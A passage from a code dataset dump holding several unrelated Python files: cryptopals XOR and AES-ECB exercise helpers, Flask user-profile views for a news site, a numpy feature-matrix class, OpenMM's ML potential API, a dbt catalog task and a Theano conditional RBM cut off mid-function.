single_key_xor[i%keysize] += enc[i:i+1]\n\n key = \"\"\n for block in single_key_xor:\n res = break_single_key_xor(block)\n key += chr(res[1])\n\n assert(len(key)==keysize)\n\n data = xor(enc.hex(), key.encode('utf-8').hex())\n data = bytes.fromhex(data).decode('utf-8')\n\n return data, key\n\n\ndef AES_ECB_encrypt(key, data):\n pt = pad(data)\n cipher = AES.new(key, AES.MODE_ECB)\n return cipher.encrypt(pt)\n\n\ndef AES_ECB_decrypt(key, ct):\n cipher = AES.new(key, AES.MODE_ECB)\n return cipher.decrypt(ct)\n\n\ndef is_ecb(data, size=16):\n\n if len(data) % size:\n return False\n\n data_l = [data[i:i+size] for i in range(0, len(data), size)]\n\n for item in data_l:\n if data_l.count(item) > 1:\n return True\n\n return False","sub_path":"cryptopals_py/set3/break_xor.py","file_name":"break_xor.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"211302234","text":"from flask import current_app\nfrom flask import g\nfrom flask import request\nfrom flask import session\n\nfrom info import constants\nfrom info import db\nfrom info.models import User\nfrom info.utils.common import user_login_data\nfrom info.utils.response_code import RET\nfrom . import profile_blue\nfrom flask import render_template,redirect,jsonify\nfrom info.utils.image_storage import storage\n'''\n其他用户的详情页面\n'''\n@profile_blue.route(\"/other_info\")\n@user_login_data\ndef other_info():\n # 我关注的那个用户的id\n id = request.args.get(\"id\")\n other = User.query.get(id)\n user = g.user\n # 当前登陆用户没有关注新闻的作者,默认情况下,肯定是没有关注,所以设置为false\n is_followed = False\n # 如果当前登陆用户需要关注新闻作者的话,那么必须首先得有新闻作者\n # 用户登陆之后,才能进行关注\n if other and user:\n # 如果当前新闻的作者,在登陆用户的关注人列表当中,就可以说明当前登陆作者是新闻作者的粉丝\n if other in user.followed:\n is_followed = True\n\n\n data = {\n \"other_info\":other.to_dict(),\n \"user_info\":user.to_dict() if user else None,\n \"is_followed\": is_followed\n }\n\n return render_template(\"news/other.html\",data = data)\n\n\n\n\n\n\"\"\"\n我的关注\n\"\"\"\n@profile_blue.route(\"/user_follow\")\n@user_login_data\ndef follow():\n page = request.args.get(\"p\",1)\n try:\n page = int(page)\n except Exception as e:\n current_app.logger.error(e)\n page = 1\n user = g.user\n # 查询我所有关注的用户\n paginate = user.followed.paginate(page,4,False)\n items = paginate.items\n current_page = paginate.page\n total_page = paginate.pages\n users = []\n for item in items:\n users.append(item.to_dict())\n data = {\n \"users\":users,\n \"current_page\":current_page,\n \"total_page\":total_page\n }\n\n return render_template(\"news/user_follow.html\",data = data)\n\n\n\n\n\n\"\"\"\n作者发布的新闻列表\n\"\"\"\n@profile_blue.route(\"/news_list\")\n@user_login_data\ndef news_list():\n page = request.args.get(\"p\",1)\n try:\n page = int(page)\n except Exception as e:\n current_app.logger.error(e)\n\n user = g.user\n # 查询我自己发布的新闻\n paginate = news = News.query.filter(News.user_id == user.id).paginate(page,10,False)\n items = paginate.items\n current_page = paginate.page\n total_page = paginate.pages\n news_list = []\n for item in items:\n news_list.append(item.to_review_dict())\n\n data = {\n \"news_list\":news_list,\n \"current_page\":current_page,\n \"total_page\":total_page\n }\n\n return render_template(\"news/user_news_list.html\",data = data)\n\n\n\n\n\"\"\"\n作者发布新闻\n\"\"\"\n@profile_blue.route(\"/news_release\",methods = [\"GET\",\"POST\"])\n@user_login_data\ndef news_release():\n if request.method == \"GET\":\n category_list = Category.query.all()\n categories = []\n for category in category_list:\n categories.append(category.to_dict())\n # 最新的分类是按照时间进行排序,所有不需要添加到分类列表当中\n categories.pop(0)\n data = {\n \"categories\":categories\n }\n return render_template(\"news/user_news_release.html\",data = data)\n\n title = request.form.get(\"title\")\n category_id = request.form.get(\"category_id\")\n digest = request.form.get(\"digest\")\n index_image = request.files.get(\"index_image\")\n content = request.form.get(\"content\")\n if not all([title,category_id,digest,index_image,content]):\n return jsonify(errno = RET.PARAMERR,errmsg = \"参数输入错误\")\n\n index_image = index_image.read()\n key = storage(index_image)\n user = g.user\n news = News()\n news.title = title\n news.source = \"个人来源\"\n news.digest = digest\n news.content = content\n news.index_image_url = constants.QINIU_DOMIN_PREFIX + key\n news.category_id = category_id\n news.user_id = user.id\n # 1表示当前新闻在审核中\n news.status = 1\n db.session.add(news)\n db.session.commit()\n return jsonify(errno = RET.OK,errmsg = \"发布成功\")\n\n\"\"\"\n用户收藏\n\"\"\"\n@profile_blue.route(\"/collection\")\n@user_login_data\ndef collection():\n page = request.args.get(\"p\",1)\n try:\n page = int(page)\n except Exception as e:\n current_app.logger.error(e)\n page = 1\n user = g.user\n paginate = user.collection_news.paginate(page,2,False)\n items = paginate.items\n current_page = paginate.page\n total_page = paginate.pages\n collections = []\n for item in items:\n collections.append(item.to_dict())\n data = {\n \"collections\":collections,\n \"current_page\":current_page,\n \"total_page\":total_page,\n }\n return render_template(\"news/user_collection.html\",data = data)\n\n\n\n\"\"\"\n密码修改\n\"\"\"\n@profile_blue.route(\"/pass_info\",methods = [\"GET\",\"POST\"])\n@user_login_data\ndef pass_info():\n if request.method == \"GET\":\n return render_template(\"news/user_pass_info.html\")\n old_password = request.json.get(\"old_password\")\n new_password = request.json.get(\"new_password\")\n if not all([old_password,new_password]):\n return jsonify(errno = RET.PARAMERR,errmsg = \"请输入密码\")\n user = g.user\n if not user.check_password(old_password):\n return jsonify(errno = RET.PARAMERR,errmsg = \"密码输入错误\")\n\n user.password = new_password\n db.session.commit()\n return jsonify(errno = RET.OK,errmsg = \"修改成功\")\n\n\n\n\n@profile_blue.route(\"/pic_info\",methods = [\"GET\",\"POST\"])\n@user_login_data\ndef pic_info():\n user = g.user\n\n if request.method == \"GET\":\n data = {\n \"user_info\": user.to_dict() if user else None\n }\n return render_template(\"news/user_pic_info.html\", data=data)\n\n avatar_file = request.files.get(\"avatar\").read()\n\n key = storage(avatar_file)\n # 设置头像\n user.avatar_url = key\n db.session.commit()\n\n data = {\n \"avatar_url\" : constants.QINIU_DOMIN_PREFIX + key\n }\n\n return jsonify(errno = RET.OK,errmsg = \"上传成功\",data = data )\n\n\n\n\n\n\n@profile_blue.route(\"/base_info\",methods = [\"GET\",\"POST\"])\n@user_login_data\ndef base_info():\n user = g.user\n\n if request.method == \"GET\":\n data = {\n \"user_info\": user.to_dict() if user else None\n }\n return render_template(\"news/user_base_info.html\",data = data)\n\n nick_name = request.json.get(\"nick_name\")\n signature = request.json.get(\"signature\")\n gender = request.json.get(\"gender\")\n\n user.nick_name = nick_name\n user.signature = signature\n user.gender = gender\n\n db.session.commit()\n\n session[\"nick_name\"] = user.nick_name\n\n return jsonify(errno = RET.OK,errmsg = \"修改成功\")\n\n\n\n\n\n\n\n\n@profile_blue.route(\"/info\")\n@user_login_data\ndef info():\n user = g.user\n if not user:\n return redirect(\"/\")\n data = {\n \"user_info\": user.to_dict() if user else None\n }\n return render_template(\"news/user.html\",data = data)\n","sub_path":"info/user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"634777672","text":"import numpy as np\n\nclass FeatureMatrix:\n _matrix = None\n _r_names = None\n _c_names = None\n\n def __init__(self, arraylike, r_names=None, c_names=None ):\n shape = np.array(arraylike).shape\n if sum(shape) == 0:\n return None\n self._matrix = np.array(arraylike)\n if r_names is not None:\n self._r_names = r_names\n else:\n self._r_names = range(0,shape[0])\n if c_names is not None:\n self._c_names = c_names\n else:\n self._c_names = range(0,shape[1])\n assert self._matrix.shape == (len(self._r_names), len(self._c_names))\n return None\n\n def filter(self, filterfunc, axis='both'):\n xylocs = filter_match_xy(self._matrix, filterfunc)\n (r,c) = self._matrix.shape\n print (r,c, xylocs)\n if len(xylocs[0])>0:\n if axis=='both':\n na_shape = ((len(np.unique(xylocs[0])), len(np.unique(xylocs[1]))))\n new_array = np.zeros(na_shape)\n new_xy_locs = remap_locs(xylocs)\n print (xylocs)\n print (new_xy_locs)\n new_array[new_xy_locs]=self._matrix[xylocs]\n new_rows = np.array(self._r_names)[np.unique(xylocs[0])]\n new_cols = np.array(self._c_names)[np.unique(xylocs[1])]\n if axis=='rows':\n na_shape = ((len(np.unique(xylocs[0])), c))\n new_array = np.zeros(na_shape)\n new_xy_locs = (np.repeat(np.unique(remap_locs(xylocs)[0]),na_shape[1]), np.tile(np.array(range(0,c)),na_shape[0]))\n xylocs = (np.repeat(np.unique(xylocs[0]),na_shape[1]), np.tile(np.array(range(0,c)),na_shape[0]))\n print (new_array)\n print (xylocs)\n print (new_xy_locs)\n new_array[new_xy_locs]=self._matrix[xylocs]\n new_rows = np.array(self._r_names)[np.unique(xylocs[0])]\n new_cols = np.array(self._c_names)[np.unique(xylocs[1])]\n if axis=='cols':\n na_shape = ((r, len(np.unique(xylocs[1]))))\n new_array = np.zeros(na_shape)\n new_xy_locs = (np.tile(np.array(range(0,r)),na_shape[1]), np.repeat(np.unique(remap_locs(xylocs)[1]),na_shape[0]) )\n xylocs = (np.tile(np.array(range(0,r)),na_shape[1]), np.repeat(np.unique(xylocs[1]),na_shape[0]))\n print (new_array)\n print (xylocs)\n print (new_xy_locs)\n new_array[new_xy_locs]=self._matrix[xylocs]\n new_rows = np.array(self._r_names)[np.unique(xylocs[0])]\n new_cols = np.array(self._c_names)[np.unique(xylocs[1])]\n else:\n new_array= None\n new_rows = None\n new_cols = None\n new_fm = FeatureMatrix(new_array, new_rows, new_cols)\n return new_fm\n\ndef remap_dict(onedarray):\n vm = {}\n for i,e in enumerate(np.unique(onedarray)):\n vm[e]=i\n return vm\n\ndef invert_map_dict(map_dict):\n return {v: k for k, v in map_dict.items()}\n\ndef remap_loc(loc):\n amap = np.vectorize(lambda l : remap_dict(loc)[l])\n return amap\n\ndef remap_locs(locs):\n # recast a locs object into a new, reindexed one\n xmap = remap_loc(locs[0])\n ymap = remap_loc(locs[1])\n return (xmap(locs[0]), ymap(locs[1]))\n\ndef filter_match_xy(amatrix, filterfunc):\n f = np.vectorize(filterfunc)\n return np.where ( f(amatrix) )\n","sub_path":"FeatureMatrix/FeatureMatrix.py","file_name":"FeatureMatrix.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"505575119","text":"\"\"\"\nmlpotential.py: Provides a common API for creating OpenMM Systems with ML potentials.\n\nThis is part of the OpenMM molecular simulation toolkit originating from\nSimbios, the NIH National Center for Physics-Based Simulation of\nBiological Structures at Stanford, funded under the NIH Roadmap for\nMedical Research, grant U54 GM072970. See https://simtk.org.\n\nPortions copyright (c) 2021 Stanford University and the Authors.\nAuthors: Peter Eastman\nContributors:\n\nPermission is hereby granted, free of charge, to any person obtaining a\ncopy of this software and associated documentation files (the \"Software\"),\nto deal in the Software without restriction, including without limitation\nthe rights to use, copy, modify, merge, publish, distribute, sublicense,\nand/or sell copies of the Software, and to permit persons to whom the\nSoftware is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\nTHE AUTHORS, CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\nDAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\nOTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE\nUSE OR OTHER DEALINGS IN THE SOFTWARE.\n\"\"\"\ntry:\n import openmm\n import openmm.app\nexcept (ImportError, ModuleNotFoundError):\n from simtk import openmm\nfrom typing import Dict, Iterable, Optional\n\n\nclass MLPotentialImplFactory(object):\n \"\"\"Abstract interface for classes that create MLPotentialImpl objects.\n\n If you are defining a new potential function, you need to create subclasses\n of MLPotentialImpl and MLPotentialImplFactory, and register an instance of\n the factory by calling MLPotential.registerImplFactory().\n \"\"\"\n \n def createImpl(self, name: str, **args) -> \"MLPotentialImpl\":\n \"\"\"Create a MLPotentialImpl that will be used to implement a MLPotential.\n\n When a MLPotential is created, it invokes this method to create an object\n implementing the requested potential. Subclasses must implement this method\n to return an instance of the correct MLPotentialImpl subclass.\n\n Parameters\n ----------\n name: str\n the name of the potential that was specified to the MLPotential constructor\n args:\n any additional keyword arguments that were provided to the MLPotential\n constructor are passed to this method. This allows subclasses to customize\n their behavior based on extra arguments.\n\n Returns\n -------\n a MLPotentialImpl that implements the potential\n \"\"\"\n raise NotImplementedError('Subclasses must implement createImpl()')\n\n\nclass MLPotentialImpl(object):\n \"\"\"Abstract interface for classes that implement potential functions.\n\n If you are defining a new potential function, you need to create subclasses\n of MLPotentialImpl and MLPotentialImplFactory. When a user creates a\n MLPotential and specifies a name for the potential to use, it looks up the\n factory that has been registered for that name and uses it to create a\n MLPotentialImpl of the appropriate subclass.\n \"\"\"\n \n def addForces(self,\n topology: openmm.app.Topology,\n system: openmm.System,\n atoms: Optional[Iterable[int]],\n forceGroup: int,\n **args):\n \"\"\"Add Force objects to a System to implement the potential function.\n\n This is invoked by MLPotential.createSystem(). Subclasses must implement\n it to create the requested potential function.\n\n Parameters\n ----------\n topology: Topology\n the Topology from which the System is being created\n system: System\n the System that is being created\n atoms: Optional[Iterable[int]]\n the indices of atoms the potential should be applied to, or None if\n it should be applied to the entire System\n forceGroup: int\n the force group that any newly added Forces should be in\n args:\n any additional keyword arguments that were provided to createSystem()\n are passed to this method. This allows subclasses to customize their\n behavior based on extra arguments.\n \"\"\"\n raise NotImplementedError('Subclasses must implement addForces()')\n\n\nclass MLPotential(object):\n \"\"\"A potential function that can be used in simulations.\n\n To use this class, create a MLPotential, specifying the name of the potential\n function to use. You can then call createSystem() to create a System object\n for a simulation. For example,\n\n >>> potential = MLPotential('ani2x')\n >>> system = potential.createSystem(topology)\n\n Alternatively, you can use createMixedSystem() to create a System where part is\n modeled with this potential and the rest is modeled with a conventional force\n field. As an example, suppose the Topology contains three chains. Chain 0 is\n a protein, chain 1 is a ligand, and chain 2 is solvent. The following code\n creates a System in which the internal energy of the ligand is computed with\n ANI2x, while everything else (including interactions between the ligand and the\n rest of the System) is computed with Amber14.\n\n >>> forcefield = ForceField('amber14-all.xml', 'amber14/tip3pfb.xml')\n >>> mm_system = forcefield.createSystem(topology)\n >>> chains = list(topology.chains())\n >>> ml_atoms = [atom.index for atom in chains[1].atoms()]\n >>> potential = MLPotential('ani2x')\n >>> ml_system = potential.createMixedSystem(topology, mm_system, ml_atoms)\n \"\"\"\n\n _implFactories: Dict[str, MLPotentialImplFactory] = {}\n \n def __init__(self, name: str, **args):\n \"\"\"Create a MLPotential.\n\n Parameters\n ----------\n name: str\n the name of the potential function to use. Built in support is currently\n provided for the following: 'ani1ccx', 'ani2x'. Others may be added by\n calling MLPotential.registerImplFactory().\n args:\n particular potential functions may define additional arguments that can\n be used to customize them. See the documentation on the specific\n potential functions for more information.\n \"\"\"\n self._impl = MLPotential._implFactories[name].createImpl(name, **args)\n \n def createSystem(self, topology: openmm.app.Topology, **args) -> openmm.System:\n \"\"\"Create a System for running a simulation with this potential function.\n\n Parameters\n ----------\n topology: Topology\n the Topology for which to create a System\n args:\n particular potential functions may define additional arguments that can\n be used to customize them. See the documentation on the specific\n potential functions for more information.\n\n Returns\n -------\n a newly created System object that uses this potential function to model the Topology\n \"\"\"\n system = openmm.System()\n for atom in topology.atoms():\n if atom.element is None:\n system.addParticle(0)\n else:\n system.addParticle(atom.element.mass)\n self._impl.addForces(topology, system, None, 0, **args)\n return system\n\n def createMixedSystem(self,\n topology: openmm.app.Topology,\n system: openmm.System,\n atoms: Iterable[int],\n removeConstraints: bool = True,\n forceGroup: int = 0,\n **args) -> openmm.System:\n \"\"\"Create a System that is partly modeled with this potential and partly\n with a conventional force field.\n\n To use this method, first create a System that is entirely modeled with the\n conventional force. Pass it to this method, along with the indices of the\n atoms to model with this potential (the \"ML subset\"). It returns a new System\n that is identical to the original one except for the following changes.\n\n 1. Removing all bonds, angles, and torsions for which *all* atoms are in the\n ML subset.\n 2. For every NonbondedForce and CustomNonbondedForce, adding exceptions/exclusions\n to prevent atoms in the ML subset from interacting with each other.\n 3. (Optional) Removing constraints between atoms that are both in the ML subset.\n 4. Adding Forces as necessary to compute the internal energy of the ML subset\n with this potential.\n\n Parameters\n ----------\n topology: Topology\n the Topology for which to create a System\n system: System\n a System that models the Topology with a conventional force field\n atoms: Iterable[int]\n the indices of all atoms whose interactions should be computed with\n this potential\n removeConstraints: bool\n if True, remove constraints between pairs of atoms whose interaction\n will be computed with this potential\n forceGroup: int\n the force group the ML potential's Forces should be placed in\n args:\n particular potential functions may define additional arguments that can\n be used to customize them. See the documentation on the specific\n potential functions for more information.\n\n Returns\n -------\n a newly created System object that uses this potential function to model the Topology\n \"\"\"\n # Create an XML representation of the System.\n\n import xml.etree.ElementTree as ET\n xml = openmm.XmlSerializer.serialize(system)\n root = ET.fromstring(xml)\n\n # Remove bonds, angles, and torsions.\n\n atomSet = set(atoms)\n for bonds in root.findall('./Forces/Force/Bonds'):\n for bond in bonds.findall('Bond'):\n bondAtoms = [int(bond.attrib[p]) for p in ('p1', 'p2')]\n if all(a in atomSet for a in bondAtoms):\n bonds.remove(bond)\n for angles in root.findall('./Forces/Force/Angles'):\n for angle in angles.findall('Angle'):\n angleAtoms = [int(angle.attrib[p]) for p in ('p1', 'p2', 'p3')]\n if all(a in atomSet for a in angleAtoms):\n angles.remove(angle)\n for torsions in root.findall('./Forces/Force/Torsions'):\n for torsion in torsions.findall('Torsion'):\n torsionAtoms = [int(torsion.attrib[p]) for p in ('p1', 'p2', 'p3', 'p4')]\n if all(a in atomSet for a in torsionAtoms):\n torsions.remove(torsion)\n\n # Optionally remove constraints.\n\n if removeConstraints:\n for constraints in root.findall('./Constraints'):\n for constraint in constraints.findall('Constraint'):\n constraintAtoms = [int(constraint.attrib[p]) for p in ('p1', 'p2')]\n if all(a in atomSet for a in constraintAtoms):\n constraints.remove(constraint)\n\n # Create a new System from it.\n\n newSystem = openmm.XmlSerializer.deserialize(ET.tostring(root, encoding='unicode'))\n\n # Add nonbonded exceptions and exclusions.\n\n atomList = list(atoms)\n for force in newSystem.getForces():\n if isinstance(force, openmm.NonbondedForce):\n for i in range(len(atomList)):\n for j in range(i):\n force.addException(i, j, 0, 1, 0, True)\n elif isinstance(force, openmm.CustomNonbondedForce):\n existing = set(tuple(force.getExclusionParticles(i)) for i in range(force.getNumExclusions()))\n for i in range(len(atomList)):\n for j in range(i):\n if (i, j) not in existing and (j, i) not in existing:\n force.addExclusion(i, j, True)\n\n # Add the ML potential.\n\n self._impl.addForces(topology, newSystem, atomList, forceGroup, **args)\n return newSystem\n\n @staticmethod\n def registerImplFactory(name: str, factory: MLPotentialImplFactory):\n \"\"\"Register a new potential function that can be used with MLPotential.\n\n Parameters\n ----------\n name: str\n the name of the potential function that will be passed to the MLPotential constructor\n factory: MLPotentialImplFactory\n a factory object that will be used to create MLPotentialImpl objects\n \"\"\"\n MLPotential._implFactories[name] = factory\n","sub_path":"openmmml/mlpotential.py","file_name":"mlpotential.py","file_ext":"py","file_size_in_byte":12997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"244635016","text":"import json\nimport os\n\nfrom dbt.contracts.graph.parsed import ParsedManifest, ParsedNode, ParsedMacro\nfrom dbt.adapters.factory import get_adapter\nfrom dbt.clients.system import write_file\nfrom dbt.compat import bigint\nimport dbt.ui.printer\nimport dbt.utils\nimport dbt.compilation\n\nfrom dbt.task.base_task import BaseTask\n\n\nCATALOG_FILENAME = 'catalog.json'\n\n\ndef get_stripped_prefix(source, prefix):\n \"\"\"Go through source, extracting every key/value pair where the key starts\n with the given prefix.\n \"\"\"\n cut = len(prefix)\n return {\n k[cut:]: v for k, v in source.items()\n if k.startswith(prefix)\n }\n\n\ndef unflatten(columns):\n \"\"\"Given a list of column dictionaries following this layout:\n\n [{\n 'column_comment': None,\n 'column_index': Decimal('1'),\n 'column_name': 'id',\n 'column_type': 'integer',\n 'table_comment': None,\n 'table_name': 'test_table',\n 'table_schema': 'test_schema',\n 'table_type': 'BASE TABLE'\n }]\n\n unflatten will convert them into a dict with this nested structure:\n\n {\n 'test_schema': {\n 'test_table': {\n 'metadata': {\n 'comment': None,\n 'name': 'test_table',\n 'type': 'BASE TABLE',\n 'schema': 'test_schema',\n },\n 'columns': [\n {\n 'type': 'integer',\n 'comment': None,\n 'index': bigint(1),\n 'name': 'id'\n }\n ]\n }\n }\n }\n\n Required keys in each column: table_schema, table_name, column_index\n\n Keys prefixed with 'column_' end up in per-column data and keys prefixed\n with 'table_' end up in table metadata. Keys without either prefix are\n ignored.\n \"\"\"\n structured = {}\n for entry in columns:\n schema_name = entry['table_schema']\n table_name = entry['table_name']\n\n if schema_name not in structured:\n structured[schema_name] = {}\n schema = structured[schema_name]\n\n if table_name not in schema:\n metadata = get_stripped_prefix(entry, 'table_')\n schema[table_name] = {'metadata': metadata, 'columns': []}\n table = schema[table_name]\n\n column = get_stripped_prefix(entry, 'column_')\n # the index should really never be that big so it's ok to end up\n # serializing this to JSON (2^53 is the max safe value there)\n column['index'] = bigint(column['index'])\n table['columns'].append(column)\n return structured\n\n\nclass GenerateTask(BaseTask):\n def _get_manifest(self, project):\n compiler = dbt.compilation.Compiler(project)\n compiler.initialize()\n\n root_project = project.cfg\n all_projects = compiler.get_all_projects()\n\n manifest = dbt.loader.GraphLoader.load_all(root_project, all_projects)\n return manifest\n\n def run(self):\n manifest = self._get_manifest(self.project)\n profile = self.project.run_environment()\n adapter = get_adapter(profile)\n\n dbt.ui.printer.print_timestamped_line(\"Building catalog\")\n results = adapter.get_catalog(profile, self.project.cfg, manifest)\n\n results = [\n dict(zip(results.column_names, row))\n for row in results\n ]\n results = unflatten(results)\n\n path = os.path.join(self.project['target-path'], CATALOG_FILENAME)\n write_file(path, json.dumps(results))\n\n dbt.ui.printer.print_timestamped_line(\n 'Catalog written to {}'.format(os.path.abspath(path))\n )\n\n return results\n","sub_path":"dbt/task/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":3852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"158432448","text":"#!/usr/bin/env python\n# -*- coding: utf8 -*-\n\n\"\"\" Theano CRBM implementation.\n\nFor details, see:\nhttp://www.uoguelph.ca/~gwtaylor/publications/nips2006mhmublv\nSample data:\nhttp://www.uoguelph.ca/~gwtaylor/publications/nips2006mhmublv/motion.mat\n\n@author Graham Taylor\"\"\"\n\n# Numpy\nimport numpy as np\n# Theano\nimport theano\nimport theano.tensor as T\nfrom theano.tensor.shared_randomstreams import RandomStreams\n# Performance measures\nfrom Measure.accuracy_measure import accuracy_measure\nfrom Measure.precision_measure import precision_measure\nfrom Measure.recall_measure import recall_measure\n\n\nclass CRBM(object):\n \"\"\"Conditional Restricted Boltzmann Machine (CRBM) \"\"\"\n def __init__(self,\n input=None,\n input_history=None,\n n_visible=49,\n n_hidden=500,\n n_past=490,\n A=None,\n B=None,\n W=None,\n hbias=None,\n vbias=None,\n numpy_rng=None,\n theano_rng=None):\n \"\"\"\n CRBM constructor. Defines the parameters of the model along with\n basic operations for inferring hidden from visible (and vice-versa),\n as well as for performing CD updates.\n\n :param input: None for standalone RBMs or symbolic variable if RBM is\n part of a larger graph.\n\n :param n_visible: number of visible units\n\n :param n_hidden: number of hidden units\n\n :param A: None for standalone CRBMs or symbolic variable pointing to a\n shared weight matrix in case CRBM is part of a CDBN network; in a CDBN,\n the weights are shared between CRBMs and layers of a MLP\n\n :param B: None for standalone CRBMs or symbolic variable pointing to a\n shared weight matrix in case CRBM is part of a CDBN network; in a CDBN,\n the weights are shared between CRBMs and layers of a MLP\n\n :param W: None for standalone CRBMs or symbolic variable pointing to a\n shared weight matrix in case CRBM is part of a CDBN network; in a CDBN,\n the weights are shared between CRBMs and layers of a MLP\n\n :param hbias: None for standalone CRBMs or symbolic variable pointing\n to a shared hidden units bias vector in case CRBM is part of a\n different network\n\n :param vbias: None for standalone RBMs or a symbolic variable\n pointing to a shared visible units bias\n \"\"\"\n\n self.n_visible = n_visible\n self.n_hidden = n_hidden\n self.n_past = n_past\n\n if numpy_rng is None:\n # create a number generator\n numpy_rng = np.random.RandomState(1234)\n\n if theano_rng is None:\n theano_rng = RandomStreams(numpy_rng.randint(2 ** 30))\n\n if W is None:\n # the output of uniform if converted using asarray to dtype\n # theano.config.floatX so that the code is runable on GPU\n initial_W = np.asarray(0.01 * numpy_rng.randn(n_visible,\n n_hidden),\n dtype=theano.config.floatX)\n # theano shared variables for weights and biases\n W = theano.shared(value=initial_W, name='W')\n\n if A is None:\n initial_A = np.asarray(0.01 * numpy_rng.randn(n_past,\n n_visible),\n dtype=theano.config.floatX)\n # theano shared variables for weights and biases\n A = theano.shared(value=initial_A, name='A')\n\n if B is None:\n initial_B = np.asarray(0.01 * numpy_rng.randn(n_past,\n n_hidden),\n dtype=theano.config.floatX)\n # theano shared variables for weights and biases\n B = theano.shared(value=initial_B, name='B')\n\n if hbias is None:\n # create shared variable for hidden units bias\n hbias = theano.shared(value=np.zeros(n_hidden,\n dtype=theano.config.floatX), name='hbias')\n\n if vbias is None:\n # create shared variable for visible units bias\n vbias = theano.shared(value=np.zeros(n_visible,\n dtype=theano.config.floatX), name='vbias')\n\n # initialize input layer for standalone CRBM or layer0 of CDBN\n self.input = input\n if not input:\n self.input = T.matrix('input')\n\n self.input_history = input_history\n if not input_history:\n self.input_history = T.matrix('input_history')\n\n self.W = W\n self.A = A\n self.B = B\n self.hbias = hbias\n self.vbias = vbias\n self.theano_rng = theano_rng\n # **** WARNING: It is not a good idea to put things in this list\n # other than shared variables created in this function.\n self.params = [self.W, self.A, self.B, self.hbias, self.vbias]\n\n def free_energy(self, v_sample, v_history):\n ''' Function to compute the free energy of a sample conditional\n on the history '''\n wx_b = T.dot(v_sample, self.W) + T.dot(v_history, self.B) + self.hbias\n ax_b = T.dot(v_history, self.A) + self.vbias\n visible_term = T.sum(0.5 * T.sqr(v_sample - ax_b), axis=1)\n hidden_term = T.sum(T.log(1 + T.exp(wx_b)), axis=1)\n\n return visible_term - hidden_term\n\n def sample_h_given_v(self, v0_sample, v_history):\n ''' This function infers state of hidden units given visible units '''\n pre_sigmoid_h1 = T.dot(v0_sample, self.W) + T.dot(v_history, self.B) + self.hbias\n h1_mean = T.nnet.sigmoid(pre_sigmoid_h1)\n h1_sample = self.theano_rng.binomial(size=h1_mean.shape, n=1,\n p=h1_mean,\n dtype=theano.config.floatX)\n return [pre_sigmoid_h1, h1_mean, h1_sample]\n\n def sample_v_given_h(self, h0_sample, v_history):\n ''' This function infers state of visible units given hidden units '''\n pre_sigmoid_v1 = T.dot(h0_sample, self.W.T) + T.dot(v_history, self.A) + self.vbias\n v1_mean = T.nnet.sigmoid(pre_sigmoid_v1)\n v1_sample = self.theano_rng.binomial(size=v1_mean.shape, n=1,\n p=v1_mean,\n dtype=theano.config.floatX)\n return [pre_sigmoid_v1, v1_mean, v1_sample]\n\n def gibbs_hvh(self, h0_sample, v_history):\n ''' This function implements one step of Gibbs sampling,\n starting from the hidden state'''\n pre_sigmoid_v1, v1_mean, v1_sample = self.sample_v_given_h(h0_sample, v_history)\n # Using mean-field reconstruction : v1_mean\n pre_sigmoid_h1, h1_mean, h1_sample = self.sample_h_given_v(v1_mean,\n v_history)\n\n return [pre_sigmoid_v1, v1_mean, v1_sample, pre_sigmoid_h1, h1_mean, h1_sample]\n\n def gibbs_vhv(self, v0_sample, v_history):\n ''' This function implements one step of Gibbs sampling,\n starting from the visible state'''\n pre_sigmoid_h1, h1_mean, h1_sample = self.sample_h_given_v(v0_sample,\n v_history)\n pre_sigmoid_v1, v1_mean, v1_sample = self.sample_v_given_h(h1_sample, v_history)\n\n return [pre_sigmoid_h1, h1_mean, h1_sample, pre_sigmoid_v1, v1_mean, v1_sample]\n\n def cost_updates(self, lr=0.1, k=1):\n \"\"\"\n This functions implements one step of CD-k\n\n :param lr: learning rate used to train the RBM\n\n :param persistent: None for CD\n\n :param k: number of Gibbs steps to do in CD-k\n\n Returns a proxy for the cost and the updates dictionary. The\n dictionary contains the update rules for weights and biases but\n also an update of the shared variable used to store the persistent\n chain, if one is used.\n \"\"\"\n\n # compute positive phase\n pre_sigmoid_ph, ph_mean, ph_sample = \\\n self.sample_h_given_v(self.input, self.input_history)\n\n # for CD, we use the newly generate hidden sample\n chain_start = ph_sample\n\n # perform actual negative phase\n # in order to implement CD-k we need to scan over the\n # function that implements one gibbs step k times.\n # Read Theano tutorial on scan for more information :\n # http://deeplearning.net/software/theano/library/scan.html\n # the scan will return the entire Gibbs chain\n # updates dictionary is important because it contains the updates\n # for the random number generator\n [pre_sigmoid_nvs, nv_means, nv_samples, pre_sigmoid_nhs, nh_means,\n nh_samples], updates = theano.scan(self.gibbs_hvh,\n # the None are place holders, saying that\n # chain_start is the initial\n # state corresponding to the\n # 5th output\n outputs_info=[None, None, None, None, None, chain_start],\n non_sequences=self.input_history,\n n_steps=k)\n\n # determine gradients on CRBM parameters\n # not that we only need the sample at the end of the chain\n chain_end = nv_samples[-1]\n\n cost = T.mean(self.free_energy(self.input, self.input_history)) - \\\n T.mean(self.free_energy(chain_end, self.input_history))\n # We must not compute the gradient through the gibbs sampling\n gparams = T.grad(cost, self.params, consider_constant=[chain_end])\n\n # constructs the update dictionary\n for gparam, param in 